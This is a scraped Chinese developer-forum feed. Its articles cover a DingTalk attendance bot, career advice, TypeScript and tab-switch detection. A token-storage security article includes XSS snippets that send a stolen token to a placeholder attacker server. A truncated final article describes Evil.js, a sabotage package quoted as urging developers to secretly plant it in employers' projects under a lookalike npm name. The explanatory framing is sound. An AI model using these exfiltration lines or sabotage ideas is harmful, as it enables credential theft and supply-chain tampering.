解释一下：代码中的 atUserIds 属性表示要 @ 的用户，它的值是一个 userid 数组，可以 @ 群里的某几个成员，这样消息推送就会更精准。

发送之后会在钉钉群收到消息，效果如下：


综合代码实现

前面几步创建了钉钉应用，获取了打卡状态，并用机器人发送了群通知。现在将这些功能结合起来，写一个检查考勤状态，并对未打卡用户发送提醒的接口。

在路由文件 router/ding.js 中创建一个路由方法实现这个功能：

var dayjs = require('dayjs');

router.post('/attend-send', async (req, res, next) => {
  try {
    // 需要检测打卡的 userid 数组
    let alluids = ["xxx", "xxxx"];
    // 获取打卡状态
    let attendList = await getAttendStatus(alluids);
    // 是否9点前（上班时间）
    let isOnDuty = dayjs().isBefore(dayjs().hour(9).minute(0));
    // 是否18点后（下班时间）
    let isOffDuty = dayjs().isAfter(dayjs().hour(18).minute(0));
    if (isOnDuty) {
      // 已打卡用户
      let uids = getOnUids(attendList);
      if (alluids.length > uids.length) {
        // 未打卡用户
        let txuids = alluids.filter((r) => !uids.includes(r));
        sendNotify("上班没打卡，小心扣钱！", txuids);
      }
    } else if (isOffDuty) {
      // 已打卡用户
      let uids = getOffUids(attendList);
      if (alluids.length > uids.length) {
        // 未打卡用户
        let txuids = alluids.filter((r) => !uids.includes(r));
        sendNotify("下班没打卡，小心扣钱！", txuids);
      }
    } else {
      return res.send("不在打卡时间");
    }
    res.send("没有未打卡的同学");
  } catch (error) {
    res.status(error.status || 500).send(error);
  }
});

上述接口写好之后，我们只需要调用一下这个接口，就能实现自动检测上班或下班的打卡情况。如果有未打卡的组员，那么机器人会在群里发通知提醒，并且 @ 未打卡的组员。

# 调用接口
$ curl -X POST http://localhost:8080/ding/attend-send

检查打卡状态并提醒的功能实现了，现在还差一个“循环提醒”功能。

循环提醒的实现思路是，在某个时间段内，每隔几分钟调用一次接口。如果检测到未打卡的状态，就会循环提醒。

假设上下班时间分别是上午 9 点和下午 18 点，那么检测的时间段可以划分为：

  • 上班：8:30-9:00 之间，每 5 分钟检测一次；

  • 下班：18:00-19:00 之间，每 10 分钟检测一次；

上班打卡相对比较紧急，所以时间检测短，频率高。下班打卡相对比较宽松，下班时间也不固定，因此检测时间长，频率低一些。

确定好检测规则之后，我们使用 Linux 的定时任务 crontab 来实现上述功能。

首先将上面写好的 Node.js 代码部署到 Linux 服务器，部署后可在 Linux 内部调用接口。

crontab 配置解析

简单说一下 crontab 定时任务如何配置。它的配置方式是一行一个任务，每行的配置字段如下：

// 分别表示：分钟、小时、天、月、周、要执行的命令

minute hour day month weekday cmd

每个字段用具体的数字表示，如果要全部匹配，则用 * 表示。上班打卡检测的配置如下：

29-59/5 8 * * 1-5 curl -X POST http://localhost:8080/ding/attend-send

上面的 29-59/5 8 表示在 8:29 到 8:59 之间，每 5 分钟执行一次；1-5 表示周一到周五，这样就配置好了。

同样的道理，下班打卡检测的配置如下：

*/10 18-19 * * 1-5 curl -X POST http://localhost:8080/ding/attend-send

在 Linux 中执行 crontab -e 打开编辑页面，写入上面的两个配置并保存，然后查看是否生效：

$ crontab -l

29-59/5 8 * * 1-5 curl -X POST http://localhost:8080/ding/attend-send

*/10 18-19 * * 1-5 curl -X POST http://localhost:8080/ding/attend-send

看到上述输出，表示定时任务创建成功。

现在每天上班前和下班后，小工具会自动检测组员的打卡状态并循环提醒。最终效果如下：


总结

这个小工具是基于钉钉 API + Node.js 实现，思路比较有意思，解决了实际问题。并且这个小项目非常适合学习 Node.js，代码精简干净，易于理解和阅读。

小项目已经开源，开源地址为：

github.com/ruidoc/atte…

作者：杨成功
来源：juejin.cn/post/7136108565986541598

收起阅读 »
上帝之眼 发表于 : 2022-08-29 19:13 评论 (0) 分享

在阿里做前端程序员，我是这样规划的

web
许多前端工程师工作超过了3年之后会遇到一个迷茫期，我跟很多前端从业人也聊过，有一部分人说想做开源项目推广出去（类似react，vue）变成前端网红。有些说想去创业。往往更长远的职业发展规划考虑的很少。我希望把自己工作经历和在阿里学到的东西分享给大家，作为一个案...
继续阅读 »

许多前端工程师工作超过了3年之后会遇到一个迷茫期，我跟很多前端从业人也聊过，有一部分人说想做开源项目推广出去（类似react，vue）变成前端网红。有些说想去创业。往往更长远的职业发展规划考虑的很少。我希望把自己工作经历和在阿里学到的东西分享给大家，作为一个案例解答有关职业发展的困扰。

此文来自一次团队内的分享。我是来自大淘宝技术内容前端团队的胤涧，负责内容中台技术。我的习惯是每个新财年初都会进行一次分享《HOW TO BE AN EMINENT ENGINEER》，聊聊目前团队阵型、OKR、业务和技术大图，聊聊我作为程序员的规划。

此文仅记录【我作为程序员的规划】的内容。

前端程序员常问的几个问题


第一，譬如一个校招生在阿里工作了两三年，整体技术能力还保持在一个上升期，但在沟通交流做事上却始终没有脱离“学生气”，似乎还未毕业。

第二，技术更新迭代非常快，特别是前端领域，这几年不断都有新技术出来。每每夜深人静的时候，会发现很少有能真正沉淀下来的技术。

第三，关于技术深度。我经历过晋升失败，其中“技术深度不够”这句评语让我印象深刻。当时沟通完，走出会议室我低着头不停地问自己到底技术深度要深入到什么层度才算足够。作为前端，我们在公司更多的是写页面，实现UI的优化，提升页面的性能，即便我们做的产品非常成功，成功点在哪儿？可能是UI设计得漂亮，也可能是推荐算法精确，而前端的产出给产品带来了什么？阿里有健全的体系，有良师益友。离开了这个大平台，我能做什么？

我发展的三个阶段

入职阿里，经历不同的BU和部门，我一直在寻找职业发展的答案。

到目前为止，我把我的职业生涯分为三个阶段：一技之长，独立做事，寻找使命。


一技之长分为：栈内技术、栈外技术、工程经验、带人做事、业内影响。

第一阶段：一技之长


栈内技术

栈内技术是指你的专业领域技术，对于前端来说，就是那些我们熟悉的js等基础，深入了解我们的程序所运行的宿主环境——浏览器 or NODE，能了解v8运行时发生的一切。

前端没有秘密，所有可访问的页面都近似于开源，所以检验栈内技术的标准就是看你是否能最终形成技术上的“白眼”——看到任何前端产品都有看穿它的自信。栈内技术是安身立命的根本，不要轻易“换方向”。


始终不要放弃作为前端的一技之长。遇到一些前端同学工作几年以后前端做得比较熟了，考虑转到其他岗位，去做音视频技术，或者跨度更大的去做产品，运营。但我想说，当你转行那一刻起，就把要转的领域变成你新的“栈内技术”，然后重新走一遍技术沉淀的过程，匆匆几年又过去了。

前端是可以长时间坚持的领域，现在新型的软件生态，例如web3，以太坊，都会首先瞄准JS开发者，因为有庞大的开发者群体，工具链也比较完善，所以长期坚持从事前端工作，在可预见的未来都不会“过时”。


栈外技术

栈外技术是指栈内技术的上下游，领域外的相关专业知识，包括但不限于服务端技术、运维、CDN、测试，甚至UI设计、产品设计等等。扩展你栈内技术的周围领域，充分理解你的工作在整个技术研发体系中处于怎样的环节。工作之余多投入一份精力，把其他栈外技术不断纳入到你的知识体系中来，建立栈外能力。

前端想要做得深入，往往会涉及到服务端、网络、机器学习、用户体验等知识，没有足够的栈外技术积累，你很难为自己的团队争取到足够的话语权。


工程经验

工程经验是指建设专业技术体系的“解决方案”。通俗说，就是做事的方法论，掌握从0到1，1到60，甚至60到100分阶段建设专业技术体系的过程。

工程经验涉及到技术选型、架构设计、性能优化，CI/CD，日志监控、系统测试等，这些是跟工程相关的方法论。

很多同学会说，没有时间去研究新技术，那么多反问一下自己，为什么没有在自己的业务上争取新技术落地。


很多的工程师没有总结自己工程经验的能力，特别是在做业务多年之后，觉得技术能力一直在倒退。决定你比别人更有专业价值的，是领域工程经验。你看过再多的文章，如果没真正实操都不能称之为“掌握”。所以我建议要想掌握足够丰富的工程经验，需要在业务中多争取实践的机会。


带人做事

带人做事之前三项都是个人专业技能方面的深度要求，带人做事是对团队协作能力的要求。我第一次带师弟的时候经常有这种感觉：需要多次沟通需求，对焦技术方案。我跟他沟通花的时间都能把代码写好了。

带人做事，是把自己擅长的事情，沉淀下来的思考方式传递给他人，实现1+1>2的生产力提升，让整个团队的产出高于自己。

这个阶段大家要特别注意“管”与“带”的区别。以我的愚见：所谓“管”是我不懂某个领域，但我知道你懂，所以我安排你去做；而“带”则是"我特别懂这个领域，我知道你不懂，我会教你做得更好"，有点授之以渔，成就他人的意思。带好一个人或者带起一支有战斗力的团队，是做人做事成熟的表现。


这两年我也在思考如何能激发他人的能力。我想起我的老板们及和我1v1沟通的同事们对我的帮助，他们都非常善于用反问来引导我。提问的深度特别能体现一个人的能力水平，任何用于提要求的陈述句，都能转换成疑问句，在启发萌新的过程中植入对结果的约束。

当你让一个人做A的时候，他提出了方案B。你不要强行扭转对方的思路提出A，因为对于新人来讲，或许确实不能一步到位理解A方案，在他的能力约束下，只能想到B。要尽量尝试把A和B之间有差异的地方转换成提问，你问他遇到这个问题怎么解决，遇到那个问题怎么解决，一直问到形成A，他会带着思考去做事情。如果没有这个过程，没有让他思维演化的过程，虽然他收到了A的指令，但是他不理解，他会用别的方式做出来，最后得出来一个C，然后你又重构一遍，陷入一个怪圈不能自拔，这就是我以前的误区，

所以我现在特别注重提问的艺术。但是一切的前提是：你需要对事情有好的认知。按照张一鸣的观点就是：对一件事情认知决定了一件事情的高度。


业内发声

如果你前面做得非常好，那把自己的工作经验总结对外发布，与他人交流，碰撞思想，看到更高的山峰，然后修正自己的想法，日益完善，是能走得更远的一种方式。

有的时候需要把自己的思想放到业界的层面验证，大家好才是真的好。如果别人不认可你的这套思路，基本上你也可以判定自己没有达到一个更高的水平。

对外分享的目的不是为了show quali，而是为了听取别人的意见，达到自我成长。永远不要放弃一技之长，没有所谓的转行或者转型，永远坚持你最初的领域，扩充你的外延，最终达成比较全面的能力，坚持是成功ROI最高的一种方式。


第二阶段：独立做事

第二个阶段是独立做事，也是我这一两年的命题。在我不断试错的过程中，我把他分为了：独立交付，独立带人，独立带团队，独立做业务，独立活下来。独立不等于独自，独立是指今天公司给你配套的资源，你能完成公司给你的项目，且拿下好结果，俗称“带团队”。


独立交付

独立交付是指给你一个项目能自己完成推进且上线，不让别人给你擦屁股就可以了。更加强调整体项目管理上的能力，拿结果的能力。


独立带人/带团队

进入到独立带人/带团队这个阶段，要关注的更多，整个团队的氛围、工作效率，运用你一技之长的工程经验带领团队高效优质的产出成果，实现1+1>2。做好团队的两张大图，业务大图&技术大图。让团队的同学知道自身的发展主线。工作开心了，团队稳定性才高。


独立做业务&独立生存

团队稳定之后，开始关注所做的业务，行业的发展，理解你的用户，他们是谁，他们在哪，他们为什么使用你的产品，为团队指引下一步的产研方向。最高境界就是能带领一群人养活自己，独立生存下来。这里面至少要有商业眼光，深知你所处的行业的商业玩法，还要能玩得转。如果能很好的解决这个问题，我相信各位都混的挺好的。


独立做事每个阶段，都是一次比较大的跨越，需要思想和多种软素质发生较大的变化，抛开技术人的身份不讲，独立做事的几个阶段，也是一个人逐渐成熟的过程。如果有扎实的一技之长，又能独立活下来，我肤浅的认为程序员35的危机应该不再有。


第三阶段：寻找使命

寻找使命，实现自我价值。是创业还是跳槽？是要生活还是工作？该如何平衡？我现在还是云里雾里的，还在探索，留一个开放的问题让感兴趣的同学讨论。


最后用莫泊桑的话来结尾：“生活不可能像你想象得那么好，但也不会像你想象得那么糟。我觉得人的脆弱和坚强都超乎自己的想象。有时，我可能脆弱得一句话就泪流满面，有时，也发现自己咬着牙走了很长的路”。在这里工作就是这样，但我坚信明天会更好。


作者：阿里巴巴大淘宝技术
来源：juejin.cn/post/7132745736696889351

收起阅读 »
上帝之眼 发表于 : 2022-08-29 09:05 评论 (0) 分享

TypeScript遭库开发者嫌弃：类型简直是万恶之源

web
类型白白耗费了太多宝贵时间。在今年《2022 前端开发者现状报告》中显示， 84% 受访者表示使用过 TypeScript，可见这门语言已被越来越多的前端开发者所接受。他们表示，TypeScript 让 Web 开发变得轻松——不用在 IDE 和浏览器之间来回...
继续阅读 »

类型白白耗费了太多宝贵时间。

在今年《2022 前端开发者现状报告》中显示， 84% 受访者表示使用过 TypeScript，可见这门语言已被越来越多的前端开发者所接受。他们表示，TypeScript 让 Web 开发变得轻松——不用在 IDE 和浏览器之间来回多次切换，来猜测为什么“undefined is not a function”。

然而，本周 redux-saga 的工程师 Eric Bower 却在一篇博客中提出了不同意见，他站在库开发者的角度，直言“我很讨厌 TypeScript”，并列举了五点理由。这篇博客发布后，随即引发了赞同者和反对者的激烈讨论，其中，反对者主要认为文中的几点理由只能作为开发人员的意见，而且并没有提供证明实质性问题的具体例子。



redux-saga 是一个 库（Library），具体来说，大部分情况下，它是以 Redux 中间件的形式而存在，主要是为了更优雅地管理 Redux 应用程序中的副作用（Side Effects）。

以下为 Eric 原文译文：

作为端开发者，其实我挺喜欢 TypeScript，它大大削减了手动编写自动化测试的需求，把劳动力解放出来投入到更能创造价值的地方。总之，任何能弱化自动化测试工作量的技术，都是对生产力的巨大提升。

但从库开发的角度来看，我又很讨厌 TypeScript。它烦人的地方很多，但归根结底，TypeScript 的原罪就是降低库开发者的工作效率。从本质上讲，TypeScript 就是把复杂性从端开发者那转移给了库开发者，最终显著增加了库开发流程侧的工作负担。

说明文档

端开发者可太幸福了，TypeScript 给他们准备了完备的说明文档和博文资料。但在库开发者这边，可用的素材却很少。我能找到的最接近库开发需求的内容，主要集中在类型操作上面。

这就让人有种强烈的感觉，TypeScript 团队觉得库开发者和端开发者并没什么区别。当然有区别，而且很大！

为什么 TypeScript 的网站上没有写给库开发者的指南？怎么就不能给库开发者准备一份推荐工具清单？

很多朋友可能想象不到，为了在 Web 应用和库中找到“恰如其分”的类型，我们得经历怎样的前列。对端开发者来说，Web 应用开发基本不涉及条件类型、类型运算符和重载之类的构造。

但库开发者却经常跟这些东西打交道，因为这些构造高度动态，会把逻辑嵌入到类型当中。这就让 TypeScript 调度起来令人头痛万分。

调试难题

库开发者是怎么对高度动态、大量使用的条件类型和重载做调试的？基本就是硬着头皮蛮干，祈祷能顺利跑通。唯一指望得上的，就是 TypeScript 编辑器和开发者自己的知识储备。换个类型，再看看最终结果，如此循环往复。据我所知，大家似乎都是在跟着感觉走，并没有任何稳定可靠的科学方法。

对了，库开发者经常会用到 TypeScript playground，用来隔离掉类型逻辑中那些离散的部分，借此找出 TypeScript 解析为某种类型的原因。Playground 还能帮助我们轻松切换 TypeScript 的版本和配置。

但这还不够，远远不够。我们需要更称手的生产工具。

太过复杂

我跟 redux 打过不少交道，redux-toolkit 确实是个很棒的库，开发者可以用它查看实际代码库中的类型是如何正确完成的。而问题在于，虽然它能把类型搞得很清楚，但复杂度也同样惊人。

  1. createAction #1

  2. createAction #2

这还只是一例，代码库中充斥着更多复杂的类型。此外，大家还要考虑到类型和实际代码数量。纯从演示出发、忽略掉导入的代码，该文件中只有约 10% 的代码（在全部 330 行中只占 35 行）能被转译成 JavaScript。

编码指南经常建议开发者不要使用嵌套三元组。但在 TypeScript 中，嵌套三元组成了根据其他类型缩减类型范围的唯一方法。是不是闹呢……

测 试

因为可以从其他类型生成类型，而且各类型都有很高的动态特性，所以任何生产级别的 TypeScript 项目都得经历专门的一类测试：类型测试。而且单纯对最新版本的 TypeScript 编译器进行类型测试还不够，必须针对以往的各个版本全部测试。

这种新的测试形式才刚刚起步，可用工具少得可怜，而且相当一部分要么被放弃了、要么只保持着最基本的维护。我之前用过的库有：

  1. DefinitelyTyped-tools

  2. sd

  3. dtslint (moved)

  4. typings-checker (deprecated)

看得出来，类型测试工具的流失率很高。而且因为难以迁移，我有些项目直到现在还在使用早就被弃用的库。

当然，其中的 dtslint 和 tsd 算是相对靠谱，但它们互为补充、而非择一即可。为什么我们需要两款工具才能完成同一类工作？这个问题很难回答，实际使用体验也是相当难受。

维 护

类型会给库添加大量代码。在初次为某个项目做贡献时，首先需要了解应用程序逻辑和类型逻辑，这直接就让很多打算参与的朋友望而却步了。我就帮忙维护过 redux-saga，项目近期发布的 PR 和 issue 主要就集中在类型身上。

我发现相较于编写库代码，我花在类型调整上的时间要多得多。

我精通 TypeScript，但还没到专家那个水平。在经历了几年的 TypeScript 编程之后，作为一名库开发者，我还是觉得自己用不明白 TypeScript。所以，精通好像成了 TypeScript 的准入门槛。这里的万恶之源就是类型，它让 js 库维护变得困难重重，断绝了后续开发者的贡献参与通道。

总 结

我认可 TypeScript 的成绩，也钦佩它背后的开发团队。TypeScript 的出现彻底改变了前端开发的格局，任何人都不能忽视这份贡献。

但作为库开发者，我们需要：

  1. 更好的说明文档。

  2. 更好的工具。

  3. 更易用的 tsc。

不管怎么说，靠研究 TypeScript 编译器源代码才能搞清楚一段代码为什么会被解析成特定类型，也实在是太离谱了。

原文链接：

https://erock.prose.sh/typescript-terrible-for-library-developers

收起阅读 »
上帝之眼 发表于 : 2022-08-28 11:24 评论 (0) 分享

监听浏览器切屏功能实现

IT大前端
前言由于在公司大部分时间都是在做考试系统，监听用户在考试期间的切屏操作并上报是比较常见的需求，本文主要是是实现这个需求并做个总结，下面就是我当初实现此需求的思路历程，希望能够帮到各位。文中的代码片段在后面可以直接在线预览第一版实现需求经过在网上搜寻一堆资料，首...
继续阅读 »

前言

由于在公司大部分时间都是在做考试系统，监听用户在考试期间的切屏操作并上报是比较常见的需求，本文主要是是实现这个需求并做个总结，下面就是我当初实现此需求的思路历程，希望能够帮到各位。

文中的代码片段在后面可以直接在线预览

第一版实现需求

经过在网上搜寻一堆资料，首先我们可以先看到 visibilitychange 这个 API，在 MDN 中给它的定义是：当其选项卡的内容变得可见或被隐藏时，会在文档上触发 **visibilitychange**（能见度变更）事件。
划重点❗ ：选项卡
仔细一想，欸！这不就是我们想要的功能，下面就开始愉快的敲代码吧。
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
  </head>
  <script>
    let pageSwitchRecord = [];
		let ul = document.createElement('ul');

    document.addEventListener('visibilitychange', function () {
      if (document.hidden) {
        document.title = '用户切屏啦';
    
        let record = {
          time: new Date().getTime(),
          type: 'leave'
        };
    
        // 这里可以根据自己项目的需求进行自定义操作，例如上报后台、提示用户等等
    
        let li = document.createElement('li');
        li.className = 'leave'
        li.innerText = `用户在${record.time}切走了`;
        ul.appendChild(li);
    
        pageSwitchRecord.push(record);
      } else {
        document.title = '用户回来啦';
    
        let record = {
          time: new Date().getTime(),
          type: 'enter'
        };
    
        // 这里可以根据自己项目的需求进行自定义操作
    
        let li = document.createElement('li');
        li.className = 'enter'
        li.innerText = `用户在${record.time}回来了，耗时${record.time - pageSwitchRecord[pageSwitchRecord.length - 1].time}ms`;
        ul.appendChild(li);
    
        pageSwitchRecord.push(record);
      }
      document.body.appendChild(ul);
    });
  </script>
  <body></body>
</html>

以上就是根据 visibitychange 完成的第一版简易监听浏览器切屏功能。
就是在自测过程我们就能发现这方法也不能监听所有的浏览器切屏事件啊，就像下面两种情况

  • 直接使用 ALT+TAB 键切换不同的应用时并不会触发上面的方法；
  • 打开浏览器调试面板后，在调试面板中进行任意操作也是不会触发上的方法。
这里就要回到上面👆划的重点——选项卡，也就是说这个 API 只能监听到浏览器标签页的可见状态是否发生变化，当整个浏览器切入后台时也并不会触发，当然在标签页的调试面板里的任意操作可不会监听到，因为本质上标签页的可见状态并没有发上变化。
使用 visibilitychange 时需要注意的点❗ ：
  • 微信内置的浏览器因为没有标签，所以不会触发该事件
  • 手机端直接回到桌面，也不会触发该事件
  • PC端浏览器失去焦点不会触发该事件，但是最小化或回到桌面会触发

第二版实现需求

这一版的实现就是我目前项目中使用的方案，当元素得到焦点和失去焦点都会触发 focus 和 blur 事件，那么可不可以直接给 window 加上这两个事件的监听器呢？话不多说，直接开始试试吧。

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
  </head>
  <script>
    let pageSwitchRecord = [];
    let ul = document.createElement('ul');

    const leave = () => {
      document.title = '用户切屏啦';

      let record = {
        time: new Date().getTime(),
        type: 'leave'
      };

      // 这里可以根据自己项目的需求进行自定义操作，例如上报后台、提示用户等等

      let li = document.createElement('li');
      li.className = 'leave';
      li.innerText = `用户在${record.time}切走了`;
      ul.appendChild(li);

      pageSwitchRecord.push(record);

      document.body.appendChild(ul);
    };

    const enter = () => {
      document.title = '用户回来啦';

      let record = {
        time: new Date().getTime(),
        type: 'enter'
      };

      // 这里可以根据自己项目的需求进行自定义操作

      let li = document.createElement('li');
      li.className = 'enter';
      li.innerText = `用户在${record.time}回来了，耗时${
        record.time - pageSwitchRecord[pageSwitchRecord.length - 1].time
      }ms`;
      ul.appendChild(li);

      pageSwitchRecord.push(record);
      document.body.appendChild(ul);
    };

    window.addEventListener('blur', leave);
    window.addEventListener('focus', enter);
  </script>
  <body></body>
</html>

上面就是第二版实现需求的完整代码，可以看到处理用户切屏的逻辑都是一样的，区别在于监听浏览器切屏的方法，第二种采用的是监听 blur 和 focus 这两个事件去相互配合实现的。

预览

第一种方案



补充

第二种相较于第一种实现方式有更加灵敏的监听，但是有可能在部分使用场景下会误触，为了保持准确性可以第一种和第二种方案配合使用
使用 visibilitychange 时，为了保证兼容性，请使用 document.addEventListener 来注册回调，




链接：https://juejin.cn/post/7135355487955976223


收起阅读 »
马师傅 发表于 : 2022-08-26 14:17 评论 (0) 分享

token到底该怎么存？你想过这个问题吗？

web
首先要明确我们的需求，如果是需要SSO（单点登录），那localStorage方案是不能选择的，因为本地存储是域名间互相隔离的，无法跨域名读取。从XSS角度看但我们仍然还是要考虑最糟糕的情况，我们应该如何避免token的泄露呢？因为本地存储是可以被JS任意读写...
继续阅读 »

token存cookie还是localStorage，存哪个更安全、哪个能实现需求，下面就该问题展开讨论。

首先要明确我们的需求，如果是需要SSO（单点登录），那localStorage方案是不能选择的，因为本地存储是域名间互相隔离的，无法跨域名读取。

如果SSO是通过跳转到认证中心进行登录态校验，然后回跳携带token的方式（类似第三方微信登录），那localStorage也是可行的，但体验就没有那么好了，具体需要进行取舍。

从XSS角度看

XSS攻击的危害是非常大的，所以我们无论如何都是要避免的；不过幸运的是，大部分XSS攻击浏览器都帮我们进行了有效的处理。

但我们仍然还是要考虑最糟糕的情况，我们应该如何避免token的泄露呢？

localStorage

因为本地存储是可以被JS任意读写的，攻击者可以如果成功的进行了XSS，那么存在本地存储中的token，会被轻松拿到，甚至被发送到攻击者的服务器存储起来。

  // XSS
  const token = localStorage.getItem('token')
  const image = new Image()
  image.src = `攻击者的服务器地址?token=${token}`

cookie

如果cookie不做任何设置，和localStorage基本一致，被XSS攻击时也可以轻松的拿到token。

  // 以下代码来自MDN
  // https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie
  const getCookie = (key) => {
    return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(key).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
  }

  const token = getCookie('token')
  const image = new Image()
  image.src = `攻击者的服务器地址?token=${token}`

好在cookie提供了HttpOnly属性，它的作用是让该cookie属性只可用于http请求，JS不能读取；它的兼容性也非常不错（如果说你要兼容老古董IE8，那当我没说）。


以下是express定义的一个登录接口示例：

  router.post('/login', async(req, res, next) => {
    const token = Math.random()
    res.header({
      'Set-Cookie': `token=${token}; HttpOnly`,
    }).send({
      code: 0,
      message: 'login success'
    })
  })

仅管经过这样的设置，依然仅仅只是避免了远程XSS；因为就算开启了HttpOnly，使得JS不能读取，但攻击者仍可实施现场攻击，就是攻击是由用户自己的设备触发的；攻击者可以不知道用户的token，但可以在XSS代码中，直接向服务端发送请求。

这就是为什么前面说XSS攻击我们无论如何都是要避免的，但不是说防御XSS仅仅只是为了token的安全。

从CSRF角度看

localStorage

从CSRF角度来看，因为localStorage是域名隔离的，第三方域名是完全无法读取，这是localStorage的天然优势。

cookie

因为cookie是在发送请求时被浏览器自动携带的，这个机制是一把双刃剑，好处是可以基于此实现SSO，坏处就是CSRF攻击由此诞生。

防御cookie带来的CSRF攻击有如下方案：

csrfToken

通过JS读取cookie中的token，添加到请求参数中(csrfToken)，服务端将cookie中的token和csrfToken进行比对，如果相等则是正常请求；

这种做法虽说避免了CSRF，但不能满足SSO需求，因为要添加一个额外的请求参数；而且不能开启HttpOnly属性(伴随着存在远程XSS的风险)，因为要供JS读取，如此一来基本和localStorage一致了。

SameSite

cookie有个SameSite属性，它有三种取值（引用自MDN）：

  • None

    • 浏览器会在同站请求、跨站请求下继续发送 cookies，不区分大小写。

  • Strict

    • 浏览器将只在访问相同站点时发送 cookie。

  • Lax

    • 与 Strict 类似，但用户从外部站点导航至 URL 时（例如通过链接）除外。在新版本浏览器中，为默认选项，Same-site cookies 将会为一些跨站子请求保留，如图片加载或者 frames 的调用，但只有当用户从外部站点导航到 URL 时才会发送。如 link 链接

注意：之前的SameSite未设置的情况下默认是None，现在大部分浏览器都准备将SameSite属性迁移为Lax。

设置了SmaeSite为非None时，则可避免CSRF，但不能满足SSO需求，所以很多的开发者都将SameSite设置成了None。

SameSite的兼容性：


未来的完美解决方案(SameParty)

cookie的SameParty，这个方案算得上是终极解决方案，但很多浏览器都暂未实现。

这个方案允许我们将一系列不同的域名配置为同一主体运营，即可以在多个指定的不同域名下都可以访问到cookie，而配置之外的域名则不可访问，即避免了CSRF又保证了SSO需求的可行性。

具体使用：

1、在各个域名下的/.well-known/first-party-set路径下，配置一个JSON文件。

主域名：

 {
   "owner": "主域名",
   "version": 1,
   "members": ["其他域名1", "其他域名2"]
 }

其他域名：

 {
   "owner": "当前域名"
 }

2、服务端设置SameParty

  router.post('/login', async(req, res, next) => {
    const token = Math.random()
    res.header({
      'Set-Cookie': `token=${token}; SameParty; Secure; SameSite=Lax;`,
    }).send({
      code: 0,
      message: 'login success'
    })
  })

注意：使用SameParty属性时，必须要开启secure，且SameSite不能是strict。

总结

序号方式是否存在远程XSS是否存在CSRF是否支持SSO兼容性
1localStorage是否否无
2cookie，未开启HttpOnly，SameSite为None是是是无
3cookie，未开启HttpOnly，SameSite为None，增加csrfToken是否否无
4cookie，开启HttpOnly，SameSite为None否是是IE8之后
5使用cookie，开启HttpOnly，设置了SameSite非None否否否IE10之后，IE11部分；Chrome50之后

  1. 如果不需要考虑SameSite的兼容性，使用localStorage不如使用cookie，并开启HttpOnly、SameSite。

  2. 如果你需要考虑SameSite的兼容性，同时也没有SSO的需求，那么就用localStorage吧，不过要做好XSS防御。

  3. 将token存储到localStorage并没有那么不安全，大部分XSS攻击浏览器都帮我们进行了有效的处理，不过如果沦落到需要考虑SameSite的兼容性了，可能那些版本的浏览器不存在这些XSS的防御机制；退一步讲如果遭受了XSS攻击，就算是存储在cookie中也会受到攻击，只不过被攻击的难度提升了，后果也没有那么严重。

  4. 如果有SSO需求，使用cookie，在SameParty可以使用之前，我们可以做好跨域限制、CSRF防御等安全工作。

  5. 如果可以，我是说如果，多系统能部署到一个域名的多个子域名下，避免跨站，那是最好，就可以既设置SameSite来避免CSRF，又可以实现SSO。

总的来说，cookie的优势是多余localStorage的。

我们的做法

因为我们是需要SSO的，所以使用了cookie，配套做了一些的安全防御工作。

  • 开启HttpOnly，SameSite为none

  • 认证中心获取code，子系统通过code换取token

  • 接口全部采用post方式

  • 配置跨域白名单

  • 使用https

参考

juejin.cn/post/7002011181221167118


作者：Ytiona
来源：juejin.cn/post/7133940034675638303

收起阅读 »
上帝之眼 发表于 : 2022-08-22 08:44 评论 (0) 分享

火爆全网的 Evil.js 源码解读

IT大前端
2022年8月18日，一个名叫Evil.js的项目突然走红，README介绍如下：什么？黑心996公司要让你提桶跑路了？想在离开前给你们的项目留点小 礼物 ？偷偷地把本项目引入你们的项目吧，你们的项目会有但不仅限于如下的神奇效果：当数组长度可以被7整除时，Ar...
继续阅读 »

2022年8月18日，一个名叫Evil.js的项目突然走红，README介绍如下：

什么？黑心996公司要让你提桶跑路了？
想在离开前给你们的项目留点小 礼物 ？
偷偷地把本项目引入你们的项目吧，你们的项目会有但不仅限于如下的神奇效果：

当数组长度可以被7整除时，Array.includes 永远返回false。
当周日时，Array.map 方法的结果总是会丢失最后一个元素。
Array.filter 的结果有2%的概率丢失最后一个元素。
setTimeout 总是会比预期时间慢1秒才触发。
Promise.then 在周日时有10%不会注册。
JSON.stringify 会把I(大写字母I)变成l(小写字母L)。
Date.getTime() 的结果总是会慢一个小时。
localStorage.getItem 有5%几率返回空字符串。

并且作者发布了这个包到npm上，名叫lodash-utils，一眼看上去，是个非常正常的npm包，跟utils-lodash这个正经的包的名称非常相似。


如果有人误装了lodash-utils这个包并引入，代码表现可能就一团乱麻了，还找不到原因。真是给黑心996公司的小“礼物”了。


现在，这个Github仓库已经被删除了(不过还是可以搜到一些人fork的代码)，npm包也已经把它标记为存在安全问题，将代码从npm上移除了。可见npm官方还是很靠谱的，及时下线有风险的代码。


image.png

作者是如何做到的呢？我们可以学习一下，但是只单纯学技术，不要作恶噢。要做更多有趣的事情。

立即执行函数

代码整体是一个立即执行函数，

(global => {
  
})((0, eval('this')));

该函数的参数是(0, eval('this'))，返回值其实就是window，会赋值给函数的参数global。

另有朋友反馈说，最新版本是这样的：
(global => {
  
})((0, eval)('this'));

该函数的参数是(0, eval)('this')，目的是通过eval在间接调用下默认使用顶层作用域的特性，通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法，可以兼容浏览器和node，并且在早期版本没有globalThis的情况下也能够很好地支持，甚至在window、globalThis变量被恶意改写的情况下也可以获取到(类似于使用void 0规避undefined关键词被定义)。

为什么要用立即执行函数？

这样的话，内部定义的变量不会向外暴露。

使用立即执行函数，可以方便的定义局部变量，让其它地方没办法引用该变量。

否则，如果你这样写：

<script>
  const a = 1;
</script>
<script>
  const b = a + 1;
</script>

在这个例子中，其它脚本中可能会引用变量a，此时a不算局部变量。

数组长度可以被7整除时，本方法永远返回false。

const _includes = Array.prototype.includes;
